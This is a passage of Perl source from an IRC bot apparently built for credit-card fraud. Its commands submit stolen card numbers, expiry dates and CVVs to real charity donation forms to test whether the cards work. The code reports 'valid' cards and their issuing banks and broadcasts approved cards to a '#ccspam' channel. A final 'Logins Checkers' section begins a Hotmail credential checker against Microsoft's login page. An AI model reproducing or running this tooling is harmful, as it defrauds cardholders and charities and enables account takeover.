  611. my $nuova = substr($numerocarta,0,6);
  612. foreach my $url (@results){
  613. if($url =~ m/$nuova\|(.*)/){
  614.                                         &respond_to_privmsg(\%msg,"7,1[0BaNk7:8 $nuova 15 $1");
  615. #print "card $variable!";
  616. }
  617. }
  618. }elsif ($allo =~/This transaction has been declined./){
  619. #~ }elsif ($allo =~/This transaction has been declined./){
  620.                                                 my $database = "banklist.txt";
  621.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  622.                                                 my @results=<FILE>;
  623.                                                 close FILE;
  624.                                                 my $bankinfo = $1;
  625.                                         &respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifica 0,1THIS TRANSACTION HAS BEEN 4DECLINED!");
  626. my $nuova = substr($numerocarta,0,6);
  627. foreach my $url (@results){
  628. if($url =~ m/$nuova\|(.*)/){
  629. my $bankinfo = $1;
  630.                                         &respond_to_privmsg(\%msg,"4,1[12BANK4]9 $nouva0 $1");
  631. #print "card $variable!";
  632. }
  633. }
  634. }
  635. }elsif ($allo =~/Decline Error: Please use a different payment card./){
  636. &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4Please use a different payment card.");
  637. }elsif ($allo =~ /Decline Error: Please use a different payment card./){
  638. &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4Please use a different payment card.");
  639. }elsif ($allo =~ /Please use a different payment card./){
  640. &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4Please use a different payment card.");
  641. }elsif ($allo =~ /This transaction cannot be processed./){
  642. &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4This transaction cannot be processed.");
  643. }elsif ($allo =~ /Please enter a valid credit card number and type./){
  644. &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4Please enter a valid credit card number and type.");
  645. }elsif ($allo =~/The credit card number is invalid./){
  646. &respond_to_privmsg(\%msg,"4,1[0 ResuLT 4] 14$numerocarta14,1 4DECLINED!(Invalid)");
  647. }elsif ($allo =~/Credit card expiration date is invalid./){
  648. &respond_to_privmsg(\%msg,"15 is invalid.");
  649. }elsif ($allo =~/This transaction has been declined./){
  650. &respond_to_privmsg(\%msg,"4,1[0CREDIT CARD4]7 $numerocarta15 $expmes$expanio14 $verifica 0,1THIS TRANSACTION HAS BEEN 4DECLINED!");
  651. }elsif ($allo =~/The credit card has expired./){
  652. &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 THE CREDIT CARD HAS4 EXPIRED!");
  653. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  654. &respond_to_privmsg(\%msg,"7,1[0Expiration Date: 14 14$expmes$expanio 14)4 Not is Valid.");
  655. }elsif ($allo =~/A duplicate transaction has been submitted./){
  656. &respond_to_privmsg(\%msg,"4,1[15THE CREDIT CARD 4DECLINED 7RECHECK4]");
  657. }elsif ($allo =~/A duplicate transaction has been submitted./){
  658. &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $verifica 0,1This transaction has been 4Declined!!!");
  659. }elsif ($allo =~/The credit card number entered is not valid./){
  660. &respond_to_privmsg(\%msg,":85Credit Card: 14 9$numerocarta 14");
  661. &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!");
  662. }elsif ($allo =~/The following error message was returned: A duplicate transaction has been submitted./){
  663. &respond_to_privmsg(\%msg,"7,1[0Credit Card0: 7 $numerocarta 15 $expmes$expanio 14 $verifica 0,1This transaction has been 4Declined!!!");
  664. }elsif ($allo =~/ Error: Major Request Error/){
  665. &respond_to_privmsg(\%msg,"0,1[4,1ERROR0,1]8 CREDIT CARD IS4 INVALID!");
  666. }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){
  667. &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes.");
  668. }elsif ($allo =~/Thank for your generous donation to the Truro Historical Society./){
  669. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  670. }elsif ($allo =~/Items in bold are required fields./){
  671. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Invalid Credit Card number.");
  672. }elsif ($allo =~ /Click Here For a Printer Friendly Receipt.../){
  673. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  674. }elsif ($allo =~ /Thank you again for your partnership.../){
  675. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  676. }elsif ($allo =~/DECLINED CVV2/){
  677. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!(DECLINED CVV2).");
  678. }elsif ($allo =~/The transaction has been declined because of an AVS.../){
  679. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!")
  680. }elsif ($allo =~/AVS.../){
  681. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  682. }elsif ($allo =~/ AVS.../){
  683. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  684. }elsif ($allo =~ /AVS.../){
  685. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  686. }elsif ($allo =~/The transaction has been declined because of an AVS./){
  687. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!")
  688. }elsif ($allo =~/AVS./){
  689. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  690. }elsif ($allo =~/ AVS/){
  691. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  692. }elsif ($allo =~ /AVS./){
  693. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  694. }elsif ($allo =~/Error:Credit Card Declined/){
  695. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Error:Credit Card Declined");
  696. }elsif ($allo =~ /Error:Credit Card Declined/){
  697. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Error:Credit Card Declined.");
  698. }elsif ($allo =~/Error: missing required information/){
  699. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Error: missing required information.");
  700. }elsif ($allo =~ /Error: missing required information/){
  701. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Error: missing required information.");
  702. }elsif ($allo =~ /Error.../){
  703. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Declined.Unknown error");
  704. }elsif ($allo =~/There has been a problem processing your donation. Too many attempts. Error Code 114/){
  705. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Too many attempts!");
  706. }elsif ($allo =~/Thank for your generous donation to the Truro Historical Society./){
  707. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  708. }elsif ($allo =~/This transaction has been declined./){
  709. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(invalid)");
  710. }elsif ($allo =~/The credit card has expired./){
  711. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Expired)");
  712. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  713. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Invalid)");
  714. }elsif ($allo =~/A duplicate transaction has been submitted./){
  715. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Recheck)");
  716. }elsif ($allo =~/The credit card number is invalid./){
  717. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(invalid)");
  718. }elsif ($allo =~/Thank you! Your order will be processed pending a standard transaction review./){
  719. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Thank you! Your order will be processed pending a standard transaction review.");
  720. }elsif ($allo =~/Credit Card Processing Error/){
  721. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(error)");
  722. }elsif ($allo =~/Credit Card Number is invalid/){
  723. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(invalid)");
  724. }elsif ($allo =~/The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder./){
  725. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  726. }elsif ($allo =~/'Please be sure that your billing information is correct and...'/){
  727. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!");
  728. }elsif ($allo =~/Thank You!/){
  729. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  730. }elsif ($allo =~/Thank You! Your payment has been successfully processed./){
  731. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  732. }elsif ($allo =~/Insufficient funds./){
  733. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4doesn't has funds for ur payment. do not honour!!4");
  734. }elsif ($allo =~/INSUFFICIENT FUNDS*/){
  735. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!(INSUFFICIENT FUNDS*)");
  736. }elsif ($allo =~/The transaction has been completed successfully.../){
  737. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  738. }elsif($internal =~/This transaction has been declined./ || $internal =~/Lost or stolen card./){
  739. sendmsg($irc_socket, "PRIVMSG $channel 4,1[0,1Results......4,1]7,1 $pNick8,1 $cardnumber $expmonth.20$expyear $cvv 4,1is Declined");                      
  740. }elsif ($allo =~/Rejected: NO ACCOUNT./){
  741. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Rejected: NO ACCOUNT.");
  742. }elsif ($allo =~/AUTHORIZATION./){
  743. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Call for authorize transaction.");
  744. }elsif ($allo =~/Invalid expiration Date./){
  745. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(invalid,Please check format (MMYY).)");
  746. }elsif ($allo =~/The credit card has expired./){
  747. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Expired)");
  748. }elsif ($allo =~/HOLD CARD * CALL./){
  749. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! HOLD CARD * CALL");
  750. }elsif ($allo =~/PICK UP CARD./){
  751. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! (PICK UP CARD)");
  752. }elsif ($allo =~/CALL./){
  753. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! (CALL BANK)");
  754. }elsif ($allo =~/Rejected: DECLINE./){
  755. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! (Rejected: DECLINE)");
  756. }elsif ($allo =~/CALL FOR./){
  757. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! (Call for authorize transaction.)");
  758. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  759. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Invalid)");
  760. }elsif ($allo =~/A duplicate transaction has been submitted./){
  761. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Recheck)");
  762. }elsif ($allo =~/This transaction has been declined./){
  763. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!");
  764. }elsif ($allo =~/The credit card number is invalid./){
  765. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(invalid)");
  766. }elsif ($allo =~/Your Transaction has been declined. Please try again by clicking the following button.Response Message: PICK UP CARD       * CALL BANK          =./){
  767. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Response Message: PICK UP CARD * CALL BANK=");
  768. }elsif ($allo =~/Thank you! Your order will be processed pending a standard transaction review./){
  769. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Thank you! Your order will be processed pending a standard transaction review.");
  770. }elsif ($allo =~/Rejected: NO CHECK ACCOUNT./){
  771. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Rejected: NO CHECK ACCOUNT.");
  772. }elsif ($allo =~/Invalid expiration Date. Please check format (MMYY)./){
  773. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Invalid expiration Date. Please check format (MMYY).");
  774. }elsif ($allo =~/ Rejected: CARD NO. ERROR./){
  775. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Rejected: CARD NO. ERROR.");
  776. }elsif ($allo =~/ Rejected: SERV NOT ALLOWED./){
  777. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Rejected: SERV NOT ALLOWED.");
  778. }elsif ($allo =~/Invalid Credit Card number./){
  779. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Invalid Credit Card number.");
  780. }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){
  781. &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes.");
  782. }elsif ($allo =~/Please be sure that your billing information is correct.../){
  783. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Declined!.");
  784. }elsif ($allo =~/try again/){
  785. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Declined!.");
  786. }elsif ($allo =~/Error:Credit Card Declined/){
  787. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Error:Credit Card Declined.");
  788. }elsif ($allo =~/SGS-002000:/){
  789. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4SGS-002000: Declined.");
  790. }elsif ($allo =~/Decline Error: Payer's account is denied/){
  791. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Decline Error: Payer's account is denied.");
  792. }elsif ($allo =~ /Decline Error: Payer's account is denied/){
  793. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Decline Error: Payer's account is denied.");
  794. }elsif ($contentSlot =~/Decline Error: Payer's account is denied/){
  795. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Decline Error: Payer's account is denied.");
  796. }elsif ($contentSlot =~ /Decline Error: Payer's account is denied/){
  797. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Decline Error: Payer's account is denied.");
  798. }elsif ($contentSlot =~ /Error:Credit Card Declined/){
  799. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Error:Credit Card Declined!");
  800. }elsif ($contentSlot =~/Error:Credit Card Declined/){
  801. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Error:Credit Card Declined!");
  802. }elsif ($allo =~/Rejected: NO ACCOUNT./){
  803. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Rejected: NO ACCOUNT.");
  804. }elsif ($allo =~/AUTHORIZATION./){
  805. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Call for authorize transaction.");
  806. }elsif ($allo =~/Invalid expiration Date./){
  807. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(invalid,Please check format (MMYY).)");
  808. }elsif ($allo =~/The credit card has expired./){
  809. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Expired)");
  810. }elsif ($allo =~/HOLD CARD * CALL./){
  811. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! HOLD CARD * CALL");
  812. }elsif ($allo =~/PICK UP CARD./){
  813. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! (PICK UP CARD)");
  814. }elsif ($allo =~/CALL./){
  815. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! (CALL BANK)");
  816. }elsif ($allo =~/Rejected: DECLINE./){
  817. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! (Rejected: DECLINE)");
  818. }elsif ($allo =~/CALL FOR./){
  819. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined! (Call for authorize transaction.)");
  820. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  821. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Invalid)");
  822. }elsif ($allo =~/A duplicate transaction has been submitted./){
  823. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(Recheck)");
  824. }elsif ($allo =~/This transaction has been declined./){
  825. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!");
  826. }elsif ($allo =~/The credit card number is invalid./){
  827. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!(invalid)");
  828. }elsif ($allo =~/Your Transaction has been declined. Please try again by clicking the following button.Response Message: PICK UP CARD       * CALL BANK          =./){
  829. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Response Message: PICK UP CARD * CALL BANK=");
  830. }elsif ($allo =~/Thank you! Your order will be processed pending a standard transaction review./){
  831. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Thank you! Your order will be processed pending a standard transaction review.");
  832. }elsif ($allo =~/Rejected: NO CHECK ACCOUNT./){
  833. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Rejected: NO CHECK ACCOUNT.");
  834. }elsif ($allo =~/Invalid expiration Date. Please check format (MMYY)./){
  835. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Invalid expiration Date. Please check format (MMYY).");
  836. }elsif ($allo =~/ Rejected: CARD NO. ERROR./){
  837. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Rejected: CARD NO. ERROR.");
  838. }elsif ($allo =~/ Rejected: SERV NOT ALLOWED./){
  839. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Rejected: SERV NOT ALLOWED.");
  840. }elsif ($allo =~/Invalid Credit Card number./){
  841. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Invalid Credit Card number.");
  842. }elsif ($allo =~/We apologize for technical difficulties. Your transmission did not go through. Try again in a few minutes./){
  843. &respond_to_privmsg(\%msg,"12,1[9Merchant down.....12]0 Try again in a few minutes.");
  844. }elsif ($allo =~/Items in bold are required fields./){
  845. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4 Invalid Credit Card number.");
  846. }elsif ($allo =~/Your generous donation will be appreciated by all who visit and enjoy the San Luis Obispo Museum of Art./){
  847. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9NON vbv valid!");
  848. }elsif ($allo =~/Thank You./){
  849. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9NON vbv valid!");
  850. }elsif ($allo =~/The transaction has been declined because of an AVS.../){
  851. &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid! (AVS mismatch)");
  852. }
  853. }
  854.  
  855.         if($msg{'what'} =~ /\!amex\s(\d{15})\s(\d{2})(\d{2})\s(\d{4})/)
  856.         {
  857.         my ($numerocarta,$expmese,$expanno,$verifica) = ($1,$2,$3,$4);
  858.         &respond_to_privmsg(\%msg,"15[7CHECKiNGCARD15] CHECKiNG... 07 -$numerocarta- 12 -$expmese- 09 -$expanno- CVV -$verifica- ");
  859. #print "inizio mechanize\n";
  860. if (substr($numerocarta,0,1)==6) {
  861.     &respond_to_privmsg(\%msg,"15[7CHECKiNGCARD15]  $numerocarta is 09AmericanExpress ");
  862. }
  863. my $agent = WWW::Mechanize->new( autocheck => 1 );
  864. my $formfiller = WWW::Mechanize::FormFiller->new();
  865. $agent->env_proxy();
  866.   $agent->get('http://www.ucpcfl.org/general-donation.php');
  867.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  868.   $agent->form_number(1);
  869.   { local $^W; $agent->current_form->value('ssl_first_name', 'Rossi'); };
  870.   { local $^W; $agent->current_form->value('ssl_last_name', 'Mario'); };
  871.   { local $^W; $agent->current_form->value('ssl_amount', '5'); };
  872.   { local $^W; $agent->current_form->value('ssl_email', '[email protected]'); };
  873.   { local $^W; $agent->current_form->value('ssl_avs_address', 'via penale 192'); };
  874.   { local $^W; $agent->current_form->value('ssl_city', 'Milan'); };
  875.   { local $^W; $agent->current_form->value('ssl_state', 'Lombardy'); };
  876.   { local $^W; $agent->current_form->value('ssl_avs_zip', '20100'); };
  877.   { local $^W; $agent->current_form->value('ssl_country', 'Midighan'); };
  878.   { local $^W; $agent->current_form->value('ssl_phone', '03435353535'); };
  879.   { local $^W; $agent->current_form->value('ssl_card_number', ''.$numerocarta.''); };
  880.   { local $^W; $agent->current_form->value('ssl_exp_date', ''.$expmese.''); };
  881.   { local $^W; $agent->current_form->value('ssl_cvv2cvc2', ''.$verifica.''); };
  882.   { local $^W; $agent->current_form->value('cardnum', ''.$numerocarta.''); };
  883.   $agent->submit();
  884.   #print $agent->content,"\n";
  885. my $allo=$agent->content;
  886. if ($allo =~/APPROVED/){
  887.                         my $database = "banklist.txt";
  888.                         open FILE,"$database" or die "Errore nell'apertura: $!";
  889.                         my @results=<FILE>;
  890.                         close FILE;
  891.                         my $bankinfo = $1;
  892. if ($allo =~/<td>M<input type=\"hidden\" name=\"ssl_cvv2_response\" value=\"(.*?)\"><\/td>/){
  893.                     &respond_to_privmsg(\%msg,"15[09CARD15] CARD 03APPROVED TRANSACTION AT 095USD $numerocarta EXP $expmese$expanno CVV $verifica 08CVV=>12 $1 ");
  894.                     $irc_socket->write("PRIVMSG #ccspam :15[09CARD15] CARD 03APPROVED TRANSACTION AT 095USD $numerocarta EXP $expmese$expanno CVV $verifica 08CVV=>12 $1 \r\n");
  895. }
  896. my $nuova = substr($numerocarta,0,6);
  897. foreach my $url (@results){
  898. if($url =~ m/$nuova\|(.*)/){
  899.                     &respond_to_privmsg(\%msg,"15[12BANK08-12$nuova15]09 $bankinfo ");
  900. #print "card $variable!";
  901. }
  902. }
  903. }elsif ($allo =~/APPROVAL/){
  904.                         my $database = "banklist.txt";
  905.                         open FILE,"$database" or die "Errore nell'apertura: $!";
  906.                         my @results=<FILE>;
  907.                         close FILE;
  908.                         my $bankinfo = $1;
  909. if ($allo =~/<td>M<input type=\"hidden\" name=\"ssl_cvv2_response\" value=\"(.*?)\"><\/td>/){
  910.                     &respond_to_privmsg(\%msg,"15[09CARD15] CARD 03APPROVED TRANSACTION AT 095USD $numerocarta EXP $expmese$expanno CVV $verifica 08CVV=>12 $1 ");
  911.                     $irc_socket->write("PRIVMSG #ccspam :15[09CARD15] CARD 03APPROVED TRANSACTION AT 095USD $numerocarta EXP $expmese$expanno CVV $verifica 08CVV=>12 $1 \r\n");
  912. }
  913. my $nuova = substr($numerocarta,0,6);
  914. foreach my $url (@results){
  915. if($url =~ m/$nuova\|(.*)/){
  916. my $bankinfo = $1;
  917.                     &respond_to_privmsg(\%msg,"15[12BANK08-12$nuova15]09 $bankinfo ");
  918. #print "card $variable!";
  919. }
  920. }
  921. }elsif ($allo =~/PICK UP CARD/){
  922. &respond_to_privmsg(\%msg,"15[09CARD15]Card -$numerocarta- is04 Declined11 (PICK UP CARD) ");
  923. print "declined";
  924. }elsif ($allo =~/DECLINED/){
  925. &respond_to_privmsg(\%msg,"15[09CARD15]Card -$numerocarta- is04 Declined11 ");
  926. print "declined";
  927. }elsif ($allo =~/INVALID/){
  928. &respond_to_privmsg(\%msg,"15[09CARD15]Card -$numerocarta- is04 Declined11 (INVALID) ");
  929. print "declined";
  930. }
  931. elsif ($allo =~/Please select a different card/){
  932. &respond_to_privmsg(\%msg,"15[09CARD15]Card -$numerocarta- is07 Please Merchant dont accept this cards! select different cards ");
  933. print "different";
  934. }
  935. }
  936.         if($msg{'what'} =~ /\!delete (.*)/)
  937.         {
  938.         my ($deletefile) = ($1);
  939. chop($deletefile);
  940.         &respond_to_privmsg(\%msg,"15[7UPLOADiNG15] Deleting File... -$deletefile- ");
  941. my $agent = WWW::Mechanize->new( autocheck => 1 );
  942. my $formfiller = WWW::Mechanize::FormFiller->new();
  943. $agent->env_proxy();
  944.  $agent->get(''.$deletefile.'');
  945.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  946.   #print $agent->content,"\n";
  947. my $namedelete=$agent->content;
  948. if ($namedelete =~/<font size=\"2\">You are about to delete the folowing file: <b>(.*?)<\/b><\/font><br><br>/){
  949.         &respond_to_privmsg(\%msg,"15[7UPLOADiNG15] Deleting ... - $1 - ");
  950. }
  951.  $agent->submit();
  952.  #print $agent->content,"\n";
  953. my $compdel=$agent->content;
  954. if ($compdel =~/The file has been successfully deleted/){
  955.         &respond_to_privmsg(\%msg,"15[7UPLOADiNG15] Thank you. The file has been successfully deleted from sendspace ");
  956. }
  957. }
  958.  
  959.  
  960. #####################################################################################
  961. #############################@@@@======Logins Checkers=====@@@@#############################
  962. #############################CONTACT ME : [email protected]################################
  963. ############################################################################################
  964.  
  965. ########################################################################################
  966. if($msg{'what'} =~ /^!hotmail\s+(.*) (.*)/) {
  967. my ($hotmailz,$hotpasswordx) = ($1,$2);
  968. chop($hotpasswordx);
  969. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]00,01 Checking 08$hotmailz:$hotpasswordx");
  970. my $agent = WWW::Mechanize->new( autocheck => 1 );
  971. my $formfiller = WWW::Mechanize::FormFiller->new();
  972. $agent->env_proxy();
  973. $agent->get("https://login.live.com/ppsecure/secure.srf?lc=1040&id=9&ru=https://accountservices.msn.com/default.srf%3Fvv%3D900%26mkt%3DIT-IT%26lc
  974.  
  975. %3D1040&tw=1200&fs=1&kv=9&ct=1292072944&ems=1&seclog=10&ver=9.0.16542.0&tpf=1ce7cecf4f2ef04eefb126a0d68f97b0");
  976. $agent->form_number(1);
  977. $agent->current_form->value('login', ''.$hotmailz.'');
